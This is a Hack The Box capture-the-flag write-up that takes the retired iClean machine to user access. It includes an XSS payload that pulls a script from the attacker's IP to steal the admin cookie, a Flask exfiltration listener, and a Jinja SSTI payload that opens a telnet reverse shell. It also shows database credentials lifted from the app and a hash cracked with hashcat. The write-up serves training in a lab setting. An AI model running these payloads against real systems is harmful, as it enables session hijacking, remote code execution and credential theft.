HTB Write-up | iClean (user-only)
Retired machine can be found here.
Let's start with a basic scan:
~ nmap -F 10.10.11.12
22/tcp open ssh
80/tcp open http
10.10.11.12 redirects to capiclean.htb, so let's map out this domain.
~ sudo nano /etc/hosts
10.10.11.12 capiclean.htb
The login page is very simple:
POST /login HTTP/1.1
Host: capiclean.htb
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
username=admin&password=admin
From the "Team" page we can see the names of at least some of the cleaners.
Let's see if we can get a different server response when trying to log in with any of these users:
https://github.com/urbanadventurer/username-anarchy
~ username-anarchy mary pikes
~ username-anarchy mary pikes --suffix capiclean.htb
~ username-anarchy martha smith
~ username-anarchy martha smith --suffix capiclean.htb
~ username-anarchy jasmine summers
~ username-anarchy jasmine summers --suffix capiclean.htb
~ username-anarchy mike samuels
~ username-anarchy mike samuels --suffix capiclean.htb
All of the above return a generic error message, and there is no consistent time difference in the response.
Directory enumeration with gobuster
didn't find much except a dashboard
page, which likely requires authentication.
~ wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/directory-list-2.3-big.txt
~ gobuster dir -u http://capiclean.htb/ -w directory-list-2.3-big.txt -s "200,204,301,302,307,401,403,405,500"
/about (Status: 200) [Size: 5267]
/login (Status: 200) [Size: 2106]
/services (Status: 200) [Size: 8592]
/team (Status: 200) [Size: 8109]
/quote (Status: 200) [Size: 2237]
/logout (Status: 302) [Size: 189] [--> /]
/dashboard (Status: 302) [Size: 189] [--> /]
/choose (Status: 200) [Size: 6084]
/server-status (Status: 403) [Size: 278]
The quote
page also sends a very simple request:
POST /sendMessage HTTP/1.1
Host: capiclean.htb
Content-Type: application/x-www-form-urlencoded
service=Carpet+Cleaning&service=Tile+%26+Grout&service=Office+Cleaning&email=test%40htb.com
Testing these fields for XSS we get a hit on all the ports defined for the service
parameter:
POST /sendMessage HTTP/1.1
Host: capiclean.htb
Content-Type: application/x-www-form-urlencoded
service=<img%20src='http://10.10.14.69:9001'/>&service=<img%20src='http://10.10.14.69:9002'/>&service=<img%20src='http://10.10.14.69:9003'/>&email=<img%20src='http://10.10.14.69:9004'/>
From XSS to Auth Bypass
Let's try to steal some cookies!
First, I'll setup a simple Flask API to receive POST requests from the injected JavaScript payload:
import json
from flask import Flask, request
from flask_cors import CORS
from urllib.parse import unquote
import base64
app = Flask(__name__)
CORS(app)
@app.route('/api/exfil', methods=['POST'])
def exfil():
print("[+] Received data ")
encoding = request.args.get('encoding')
data = request.form.get('data')
try:
decoded_data = unquote(unquote(data))
if encoding is not None and encoding == 'base64':
print(base64.b64decode(decoded_data))
else:
print(decoded_data)
except Exception as exception:
print(f'Something went wrong: {exception}')
return json.dumps({'success':False}), 500, {'ContentType':'application/json'}
return json.dumps({'success':True}), 200, {'ContentType':'application/json'}
app.run(host='0.0.0.0', port=9000)
Now, let's build our payload:
It seems like the JS file is being invoked but not executed ...
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.12 - - [02/Aug/2024 15:48:01] "GET /exfil_cookie.js HTTP/1.1" 200 -
After some tweaking we get a working payload:
POST /sendMessage HTTP/1.1
Host: capiclean.htb
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 211
service=%3Cimg%20src%3Dx%20onerror%3D%22var%20script1%3Ddocument.createElement%28%27script%27%29%3Bscript1.src%3D%27http%3A//10.10.14.69%3A80/exfil_cookie.js%27%3Bdocument.head.appendChild%28script1%29%3B%22/%3E
// Decoded:
// <img src=x onerror="var script1=document.createElement('script');script1.src='http://10.10.14.69:80/exfil_cookie.js';document.head.appendChild(script1);"/>
We have a cookie!
session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZqxaVg.NOZsmSfBZjwVvCVLRC7gIpLywb0
From Auth Bypass to RCE
With this cookie we can now access the dashboard
page:
We can generate a new invoice, which generates an ID:
POST /InvoiceGenerator HTTP/1.1
Host: capiclean.htb
Content-Type: application/x-www-form-urlencoded
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZqxaVg.NOZsmSfBZjwVvCVLRC7gIpLywb0
selected_service=Basic+Cleaning&qty=1&project=abc&client=abc&address=abc&email-address=admin%40capiclean.htb
The IDs are not sequential:
2481856170
7829583255
7193822935
With these IDs we can generate a QR code:
POST /QRGenerator HTTP/1.1
Host: capiclean.htb
Content-Type: application/x-www-form-urlencoded
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZqxaVg.NOZsmSfBZjwVvCVLRC7gIpLywb0
form_type=invoice_id&invoice_id=2481856170
The response contains a URL that points to a QR code:
<p>QR Code Link: <a href="http://capiclean.htb/static/qr_code/qr_code_2481856170.png" target="_blank">http://capiclean.htb/static/qr_code/qr_code_2481856170.png</a></p>
This link can then be used to generate a "scannable invoice":
POST /QRGenerator HTTP/1.1
Host: capiclean.htb
Content-Type: application/x-www-form-urlencoded
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZqxaVg.NOZsmSfBZjwVvCVLRC7gIpLywb0
invoice_id=&form_type=scannable_invoice&qr_link=http%3A%2F%2Fcapiclean.htb%2Fstatic%2Fqr_code%2Fqr_code_2481856170.png
It looks like when a valid image is found, its content is base64-encoded and embedded in the response:
<div class="qr-code">
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAGIAAABiAQAAAACD3jujAAABTElEQVR4nL3UPaplMQgAYMFWcCuCreDWA2mFbCVgG3Ay583APXjrl+6DgPEvUB9nwC8IMOeAZRu8yXP52WhZXaKOkfMofhNFivJ3LZ+5ML/IM3YFz//xPgWozxHouolk6b33L79PHQkRS6rZZYE2tsSxLhJVDJpnd6GFuVUUd00Ihp0Gz6vf4kJKTdzepVurnGlBl1DKMruv78o5bQxWfrJ9i3yzLzHDLgGyIYfGE/2t2y8N9VSpLj3TaAoMb5oEY0ZkPRHeqrx3+WB6VzIzDphRXVO0DNP0p54v7RW4yHBL1y37AIzw+CI7lg5yRjUd2WORWK0uOTqB3Ry7AEeSxTD2Ltp35GrfVjfxFLtTOQG67ggQnRvjp2YvAbqMQ6bYdTcHh6U4edNdxCXCBPxN9LeRdw2+6WYUIWRdz88w6LB2Ac4Mp6NcTb/71/0BhwD5EVZWwGQAAAAASUVORK5CYII=" alt="QR Code">
</div>
Playing around with this field, we find that it's likely vulnerable to SSTI
:
POST /QRGenerator HTTP/1.1
Host: capiclean.htb
Content-Type: application/x-www-form-urlencoded
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZqxaVg.NOZsmSfBZjwVvCVLRC7gIpLywb0
Upgrade-Insecure-Requests: 1
invoice_id=&form_type=scannable_invoice&qr_link={{7*7}}
<div class="qr-code-container"><div class="qr-code"><img src="data:image/png;base64,49" alt="QR Code"></div>
</body>
After some trial and error (and with a lot of help from this article), we get a working RCE:
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('telnet 10.10.14.69 4444 | /bin/sh | telnet 10.10.14.69 4445')|attr('read')()%}{%print(a)%}{%endwith%}
Let's upgrade the telnet
shell and enumerate:
python3 -c 'import pty; pty.spawn("/bin/bash")'
$ ls -la
-rw-r--r-- 1 root root 12553 Mar 2 07:29 app.py
drwxr-xr-x 6 root root 4096 Sep 27 2023 static
drwxr-xrwx 2 root root 4096 Aug 2 17:30 templates
$ cat app.py
[...]
db_config = {
"host": "127.0.0.1",
"user": "iclean",
"password": "pxCsmnGLckUb",
"database": "capiclean"
}
[...]
$ mysql -u iclean -ppxCsmnGLckUb capiclean
> select * from users;
| id | username | password | role_id |
+----+----------+----------+----------------------------------+
| 1 | admin | 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51 | 21232f297a57a5a743894a0e4a801fc3 |
| 2 | consuela | 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa | ee11cbb19052e40b07aac0ca060c23ee |
+----+----------+------------+----------------------------------+
2 rows in set (0.00 sec)
Let's crack consuela
's hash:
~ hashcat -a 0 -m 1400 consuela_hash.txt ../../../rockyou.txt --status --status-timer=10 -w 3 --show
0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa:simple and clean
As expected, we can now SSH into the machine as consuela
:
~ ssh consuela@capiclean.htb
consuela@capiclean.htb's password: simple and clean
[...]
You have mail.
Last login: Fri Aug 2 14:10:18 2024 from 10.10.14.108
consuela@iclean:~$ cat user.txt
163c1a080901773d156dfa33fe4a4d3e